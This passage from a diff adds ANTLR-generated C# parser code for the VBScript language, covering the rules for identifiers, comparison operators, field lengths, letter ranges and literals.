typedListener.EnterCertainIdentifier(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitCertainIdentifier(this); + } + } + + [RuleVersion(0)] + public CertainIdentifierContext certainIdentifier() { + CertainIdentifierContext _localctx = new CertainIdentifierContext(Context, State); + EnterRule(_localctx, 300, RULE_certainIdentifier); + try { + int _alt; + State = 3042; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case IDENTIFIER: + EnterOuterAlt(_localctx, 1); + { + State = 3027; + Match(IDENTIFIER); + State = 3032; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,526,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + State = 3030; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case ACCESS: + case ADDRESSOF: + case ALIAS: + case AND: + case ATTRIBUTE: + case APPACTIVATE: + case APPEND: + case AS: + case BEEP: + case BEGIN: + case BINARY: + case BOOLEAN: + case BYVAL: + case BYREF: + case BYTE: + case CALL: + case CASE: + case CHDIR: + case CHDRIVE: + case CLASS: + case CLOSE: + case COLLECTION: + case CONST: + case DATE: + case DECLARE: + case DEFBOOL: + case DEFBYTE: + case DEFDATE: + case DEFDBL: + case DEFDEC: + case DEFCUR: + case DEFINT: + case DEFLNG: + case DEFOBJ: + case DEFSNG: + case DEFSTR: + case DEFVAR: + case DELETESETTING: + case DIM: + case DO: + case DOUBLE: + case EACH: + case ELSEIF: + case END: + case ENUM: + case EQV: + case ERASE: + case ERROR: + case EVENT: + case FALSE: + case FILECOPY: + case FRIEND: + case FOR: + case FUNCTION: + case GET: + case GLOBAL: + case GOSUB: + case GOTO: + case IF: + case IMP: + case IMPLEMENTS: + case IN: + case INPUT: + case IS: + case INTEGER: + case KILL: + case LOAD: + case LOCK: + case LONG: + case LOOP: + case LEN: + case LET: + case LIB: + case LIKE: + case LSET: + case ME: + case MID: + case MKDIR: + case MOD: + case NAME: + case NEXT: + case NEW: + case NOT: + case NOTHING: + case NULL: + case OBJECT: + case ON: + case OPEN: + case OPTIONAL: + case OR: + case OUTPUT: + case PARAMARRAY: + case PRESERVE: + case PRINT: + case PRIVATE: + case PUBLIC: + case PUT: + case RANDOM: + case RANDOMIZE: + case RAISEEVENT: + case READ: + case REDIM: + case REM: + case RESET: + case RESUME: + case RETURN: + case RMDIR: + case RSET: + case SAVEPICTURE: + case SAVESETTING: + case SEEK: + case SELECT: + case SENDKEYS: + case SET: + case SETATTR: + case SHARED: + case SINGLE: + case SPC: + case STATIC: + case STEP: + case STOP: + case STRING: + case SUB: + case TAB: + case TEXT: + case THEN: + case TIME: + case TO: + case TRUE: + case TYPE: + case TYPEOF: + case UNLOAD: + case UNLOCK: + case UNTIL: + case VARIANT: + case VERSION: + case WEND: + case WHILE: + case WIDTH: + case WITH: + case WITHEVENTS: + case WRITE: + case XOR: + { + State = 3028; + ambiguousKeyword(); + } + break; + case IDENTIFIER: + { + State = 3029; + Match(IDENTIFIER); + } + break; + default: + throw new NoViableAltException(this); + } + } + } + State = 3034; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,526,Context); + } + } + break; + case ACCESS: + case ADDRESSOF: + case ALIAS: + case AND: + case ATTRIBUTE: + case APPACTIVATE: + case APPEND: + case AS: + case BEEP: + case BEGIN: + case BINARY: + case BOOLEAN: + case BYVAL: + case BYREF: + case BYTE: + case CALL: + case CASE: + case CHDIR: + case CHDRIVE: + case CLASS: + case CLOSE: + case COLLECTION: + case CONST: + case DATE: + case DECLARE: + case DEFBOOL: + case DEFBYTE: + case DEFDATE: + case DEFDBL: + case DEFDEC: + case DEFCUR: + case DEFINT: + case DEFLNG: + case DEFOBJ: + case DEFSNG: + case DEFSTR: + case DEFVAR: + case DELETESETTING: + case DIM: + case DO: + case DOUBLE: + case EACH: + case ELSEIF: + case END: + case ENUM: + case EQV: + case ERASE: + case ERROR: + case EVENT: + case FALSE: + case FILECOPY: + case FRIEND: + case FOR: + case FUNCTION: + case GET: + case GLOBAL: + case GOSUB: + case GOTO: + case IF: + case IMP: + case IMPLEMENTS: + case IN: + case INPUT: + case IS: + case INTEGER: + case KILL: + case LOAD: + case LOCK: + case LONG: + case LOOP: + case LEN: + case LET: + case LIB: + case LIKE: + case LSET: + case ME: + case MID: + case MKDIR: + case MOD: + case NAME: + case NEXT: + case NEW: + case NOT: + case NOTHING: + case NULL: + case OBJECT: + case ON: + case OPEN: + case OPTIONAL: + case OR: + case OUTPUT: + case PARAMARRAY: + case PRESERVE: + case PRINT: + case PRIVATE: + case PUBLIC: + case PUT: + case RANDOM: + case RANDOMIZE: + case RAISEEVENT: + case READ: + case REDIM: + case REM: + case RESET: + case RESUME: + case RETURN: + case RMDIR: + case RSET: + case SAVEPICTURE: + case SAVESETTING: + case SEEK: + case SELECT: + case SENDKEYS: + case SET: + case SETATTR: + case SHARED: + case SINGLE: + case SPC: + case STATIC: + case STEP: + case STOP: + case STRING: + case SUB: + case TAB: + case TEXT: + case THEN: + case TIME: + case TO: + case TRUE: + case TYPE: + case TYPEOF: + case UNLOAD: + case UNLOCK: + case UNTIL: + case VARIANT: + case VERSION: + case WEND: + case WHILE: + case WIDTH: + case WITH: + case WITHEVENTS: + case WRITE: + case XOR: + EnterOuterAlt(_localctx, 2); + { + State = 3035; + ambiguousKeyword(); + State = 3038; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + State = 3038; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case ACCESS: + case ADDRESSOF: + case ALIAS: + case AND: + case ATTRIBUTE: + case APPACTIVATE: + case APPEND: + case AS: + case BEEP: + case BEGIN: + case BINARY: + case BOOLEAN: + case BYVAL: + case BYREF: + case BYTE: + case CALL: + case CASE: + case CHDIR: + case CHDRIVE: + case CLASS: + case CLOSE: + case COLLECTION: + case CONST: + case DATE: + case DECLARE: + case DEFBOOL: + case DEFBYTE: + case DEFDATE: + case DEFDBL: + case DEFDEC: + case DEFCUR: + case DEFINT: + case DEFLNG: + case DEFOBJ: + case DEFSNG: + case DEFSTR: + case DEFVAR: + case DELETESETTING: + case DIM: + case DO: + case DOUBLE: + case EACH: + case ELSEIF: + case END: + case ENUM: + case EQV: + case ERASE: + case ERROR: + case EVENT: + case FALSE: + case FILECOPY: + case FRIEND: + case FOR: + case FUNCTION: + case GET: + case GLOBAL: + case GOSUB: + case GOTO: + case IF: + case IMP: + case IMPLEMENTS: + case IN: + case INPUT: + case IS: + case INTEGER: + case KILL: + case LOAD: + case LOCK: + case LONG: + case LOOP: + case LEN: + case LET: + case LIB: + case LIKE: + case LSET: + case ME: + case MID: + case MKDIR: + case MOD: + case NAME: + case NEXT: + case NEW: + case NOT: + case NOTHING: + case NULL: + case OBJECT: + case ON: + case OPEN: + case OPTIONAL: + case OR: + case OUTPUT: + case PARAMARRAY: + case PRESERVE: + case PRINT: + case PRIVATE: + case PUBLIC: + case PUT: + case RANDOM: + case RANDOMIZE: + case RAISEEVENT: + case READ: + case REDIM: + case REM: + case RESET: + case RESUME: + case RETURN: + case RMDIR: + case RSET: + case SAVEPICTURE: + case SAVESETTING: + case SEEK: + case SELECT: + case SENDKEYS: + case SET: + case SETATTR: + case SHARED: + case SINGLE: + case SPC: + case STATIC: + case STEP: + case STOP: + case STRING: + case SUB: + case TAB: + case TEXT: + case THEN: + case TIME: + case TO: + case TRUE: + case TYPE: + case TYPEOF: + case UNLOAD: + case UNLOCK: + case UNTIL: + case VARIANT: + case VERSION: + case WEND: + case WHILE: + case WIDTH: + case WITH: + case WITHEVENTS: + case WRITE: + case XOR: + { + State = 3036; + ambiguousKeyword(); + } + break; + case IDENTIFIER: + { + State = 3037; + Match(IDENTIFIER); + } + break; + default: + throw new NoViableAltException(this); + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 3040; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,528,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + } + break; + default: + throw new NoViableAltException(this); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ComparisonOperatorContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LT() { return GetToken(VBScriptParser.LT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LEQ() { return GetToken(VBScriptParser.LEQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GT() { return GetToken(VBScriptParser.GT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GEQ() { return GetToken(VBScriptParser.GEQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBScriptParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEQ() { return GetToken(VBScriptParser.NEQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IS() { return GetToken(VBScriptParser.IS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LIKE() { return GetToken(VBScriptParser.LIKE, 0); } + public ComparisonOperatorContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_comparisonOperator; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterComparisonOperator(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitComparisonOperator(this); + } + } + + [RuleVersion(0)] + public ComparisonOperatorContext comparisonOperator() { + ComparisonOperatorContext _localctx = new ComparisonOperatorContext(Context, State); + EnterRule(_localctx, 302, RULE_comparisonOperator); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 3044; + _la = TokenStream.LA(1); + if ( !(_la==IS || _la==LIKE || ((((_la - 188)) & ~0x3f) == 0 && ((1L << (_la - 188)) & 4397L) != 0)) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ComplexTypeContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext[] ambiguousIdentifier() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] DOT() { return GetTokens(VBScriptParser.DOT); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DOT(int i) { + return GetToken(VBScriptParser.DOT, i); + } + public ComplexTypeContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_complexType; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterComplexType(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitComplexType(this); + } + } + + [RuleVersion(0)] + public ComplexTypeContext complexType() { + ComplexTypeContext _localctx = new ComplexTypeContext(Context, State); + EnterRule(_localctx, 304, RULE_complexType); + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 3046; + ambiguousIdentifier(); + State = 3051; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,530,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 3047; + Match(DOT); + State = 3048; + ambiguousIdentifier(); + } + } + } + State = 3053; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,530,Context); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class FieldLengthContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MULT() { return GetToken(VBScriptParser.MULT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INTEGERLITERAL() { return GetToken(VBScriptParser.INTEGERLITERAL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + public FieldLengthContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_fieldLength; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterFieldLength(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitFieldLength(this); + } + } + + [RuleVersion(0)] + public FieldLengthContext fieldLength() { + FieldLengthContext _localctx = new FieldLengthContext(Context, State); + EnterRule(_localctx, 306, RULE_fieldLength); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 3054; + Match(MULT); + State = 3056; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 3055; + Match(WS); + } + } + + State = 3060; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case INTEGERLITERAL: + { + State = 3058; + Match(INTEGERLITERAL); + } + break; + case ACCESS: + case ADDRESSOF: + case ALIAS: + case AND: + case ATTRIBUTE: + case APPACTIVATE: + case APPEND: + case AS: + case BEEP: + case BEGIN: + case BINARY: + case BOOLEAN: + case BYVAL: + case BYREF: + case BYTE: + case CALL: + case CASE: + case CHDIR: + case CHDRIVE: + case CLASS: + case CLOSE: + case COLLECTION: + case CONST: + case DATE: + case DECLARE: + case DEFBOOL: + case DEFBYTE: + case DEFDATE: + case DEFDBL: + case DEFDEC: + case DEFCUR: + case DEFINT: + case DEFLNG: + case DEFOBJ: + case DEFSNG: + case DEFSTR: + case DEFVAR: + case DELETESETTING: + case DIM: + case DO: + case DOUBLE: + case EACH: + case ELSEIF: + case END: + case ENUM: + case EQV: + case ERASE: + case ERROR: + case EVENT: + case FALSE: + case FILECOPY: + case FRIEND: + case FOR: + case FUNCTION: + case GET: + case GLOBAL: + case GOSUB: + case GOTO: + case IF: + case IMP: + case IMPLEMENTS: + case IN: + case INPUT: + case IS: + case INTEGER: + case KILL: + case LOAD: + case LOCK: + case LONG: + case LOOP: + case LEN: + case LET: + case LIB: + case LIKE: + case LSET: + case ME: + case MID: + case MKDIR: + case MOD: + case NAME: + case NEXT: + case NEW: + case NOT: + case NOTHING: + case NULL: + case OBJECT: + case ON: + case OPEN: + case OPTIONAL: + case OR: + case OUTPUT: + case PARAMARRAY: + case PRESERVE: + case PRINT: + case PRIVATE: + case PUBLIC: + case PUT: + case RANDOM: + case RANDOMIZE: + case RAISEEVENT: + case READ: + case REDIM: + case REM: + case RESET: + case RESUME: + case RETURN: + case RMDIR: + case RSET: + case SAVEPICTURE: + case SAVESETTING: + case SEEK: + case SELECT: + case SENDKEYS: + case SET: + case SETATTR: + case SHARED: + case SINGLE: + case SPC: + case STATIC: + case STEP: + case STOP: + case STRING: + case SUB: + case TAB: + case TEXT: + case THEN: + case TIME: + case TO: + case TRUE: + case TYPE: + case TYPEOF: + case UNLOAD: + case UNLOCK: + case UNTIL: + case VARIANT: + case VERSION: + case WEND: + case WHILE: + case WIDTH: + case WITH: + case WITHEVENTS: + case WRITE: + case XOR: + case L_SQUARE_BRACKET: + case IDENTIFIER: + { + State = 3059; + ambiguousIdentifier(); + } + break; + default: + throw new NoViableAltException(this); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class LetterrangeContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public CertainIdentifierContext[] certainIdentifier() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public CertainIdentifierContext certainIdentifier(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MINUS() { return GetToken(VBScriptParser.MINUS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + public LetterrangeContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_letterrange; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterLetterrange(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitLetterrange(this); + } + } + + [RuleVersion(0)] + public LetterrangeContext letterrange() { + LetterrangeContext _localctx = new LetterrangeContext(Context, State); + EnterRule(_localctx, 308, RULE_letterrange); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 3062; + certainIdentifier(); + State = 3071; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,535,Context) ) { + case 1: + { + State = 3064; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 3063; + Match(WS); + } + } + + State = 3066; + Match(MINUS); + State = 3068; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 3067; + Match(WS); + } + } + + State = 3070; + certainIdentifier(); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class DelimitedLiteralContext : ParserRuleContext { + public DelimitedLiteralContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_delimitedLiteral; } } + + public DelimitedLiteralContext() { } + public virtual void CopyFrom(DelimitedLiteralContext context) { + base.CopyFrom(context); + } + } + public partial class LtStringContext : DelimitedLiteralContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STRINGLITERAL() { return GetToken(VBScriptParser.STRINGLITERAL, 0); } + public LtStringContext(DelimitedLiteralContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterLtString(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitLtString(this); + } + } + public partial class LtOctalContext : DelimitedLiteralContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OCTALLITERAL() { return GetToken(VBScriptParser.OCTALLITERAL, 0); } + public LtOctalContext(DelimitedLiteralContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterLtOctal(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitLtOctal(this); + } + } + public partial class LtDateContext : DelimitedLiteralContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DATELITERAL() { return GetToken(VBScriptParser.DATELITERAL, 0); } + public LtDateContext(DelimitedLiteralContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterLtDate(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitLtDate(this); + } + } + public partial class LtColorContext : DelimitedLiteralContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode HEXLITERAL() { return GetToken(VBScriptParser.HEXLITERAL, 0); } + public LtColorContext(DelimitedLiteralContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterLtColor(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitLtColor(this); + } + } + + [RuleVersion(0)] + public DelimitedLiteralContext delimitedLiteral() { + DelimitedLiteralContext _localctx = new DelimitedLiteralContext(Context, State); + EnterRule(_localctx, 310, RULE_delimitedLiteral); + try { + State = 3077; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case HEXLITERAL: + _localctx = new LtColorContext(_localctx); + EnterOuterAlt(_localctx, 1); + { + State = 3073; + Match(HEXLITERAL); + } + break; + case OCTALLITERAL: + _localctx = new LtOctalContext(_localctx); + EnterOuterAlt(_localctx, 2); + { + State = 3074; + Match(OCTALLITERAL); + } + break; + case DATELITERAL: + _localctx = new LtDateContext(_localctx); + EnterOuterAlt(_localctx, 3); + { + State = 3075; + Match(DATELITERAL); + } + break; + case STRINGLITERAL: + _localctx = new LtStringContext(_localctx); + EnterOuterAlt(_localctx, 4); + { + State = 3076; + Match(STRINGLITERAL); + } + break; + default: + throw new NoViableAltException(this); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class LiteralContext : ParserRuleContext { + public LiteralContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_literal; } } + + public LiteralContext() { } + public virtual void CopyFrom(LiteralContext context) { + base.CopyFrom(context); + } + } + public partial class LtIntegerContext : LiteralContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INTEGERLITERAL() { return GetToken(VBScriptParser.INTEGERLITERAL, 0); } + public LtIntegerContext(LiteralContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterLtInteger(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitLtInteger(this); + } + } + public partial class LtDoubleContext : LiteralContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DOUBLELITERAL() { return GetToken(VBScriptParser.DOUBLELITERAL, 0); } + public LtDoubleContext(LiteralContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterLtDouble(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitLtDouble(this); + } + } + public partial class LtDelimitedContext : LiteralContext { + [System.Diagnostics.DebuggerNonUserCode] public DelimitedLiteralContext delimitedLiteral() { + return GetRuleContext(0); + } + public LtDelimitedContext(LiteralContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterLtDelimited(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitLtDelimited(this); + } + } + public partial class LtFilenumberContext : LiteralContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode FILENUMBER() { return GetToken(VBScriptParser.FILENUMBER, 0); } + public LtFilenumberContext(LiteralContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterLtFilenumber(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitLtFilenumber(this); + } + } + public partial class LtBooleanContext : LiteralContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode TRUE() { return GetToken(VBScriptParser.TRUE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode FALSE() { return GetToken(VBScriptParser.FALSE, 0); } + public LtBooleanContext(LiteralContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterLtBoolean(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitLtBoolean(this); + } + } + public partial class LtNullContext : LiteralContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NULL() { return GetToken(VBScriptParser.NULL, 0); } + public LtNullContext(LiteralContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterLtNull(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitLtNull(this); + } + } + public partial class LtNothingContext : LiteralContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NOTHING() { return GetToken(VBScriptParser.NOTHING, 0); } + public LtNothingContext(LiteralContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterLtNothing(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitLtNothing(this); + } + } + + [RuleVersion(0)] + public LiteralContext literal() { + LiteralContext _localctx = new LiteralContext(Context, State); + EnterRule(_localctx, 312, RULE_literal); + try { + State = 3087; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case DOUBLELITERAL: + _localctx = new LtDoubleContext(_localctx); + EnterOuterAlt(_localctx, 1); + { + State = 3079; + Match(DOUBLELITERAL); + } + break; + case STRINGLITERAL: + case DATELITERAL: + case HEXLITERAL: + case OCTALLITERAL: + _localctx = new LtDelimitedContext(_localctx); + EnterOuterAlt(_localctx, 2); + { + State = 3080; + delimitedLiteral(); + } + break; + case FILENUMBER: + _localctx = new LtFilenumberContext(_localctx); + EnterOuterAlt(_localctx, 3); + { + State = 3081; + Match(FILENUMBER); + } + break; + case INTEGERLITERAL: + _localctx = new LtIntegerContext(_localctx); + EnterOuterAlt(_localctx, 4); + { + State = 3082; + Match(INTEGERLITERAL); + } + break; + case TRUE: + _localctx = new LtBooleanContext(_localctx); + EnterOuterAlt(_localctx, 5); + { + State = 3083; + Match(TRUE); + } + break; + case FALSE: + _localctx = new LtBooleanContext(_localctx); + EnterOuterAlt(_localctx, 6); + { + State = 3084; + Match(FALSE); + } + break; + case NOTHING: + _localctx = new LtNothingContext(_localctx); + EnterOuterAlt(_localctx, 7); + { + State = 3085; + Match(NOTHING); + } + break; + case NULL: + _localctx = new LtNullContext(_localctx); + EnterOuterAlt(_localctx, 8); + { + State = 3086; + Match(NULL); + } + break; + default: + throw new NoViableAltException(this); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class PublicPrivateVisibilityContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PRIVATE() { return GetToken(VBScriptParser.PRIVATE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PUBLIC() { return GetToken(VBScriptParser.PUBLIC, 0); } + public PublicPrivateVisibilityContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_publicPrivateVisibility; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void 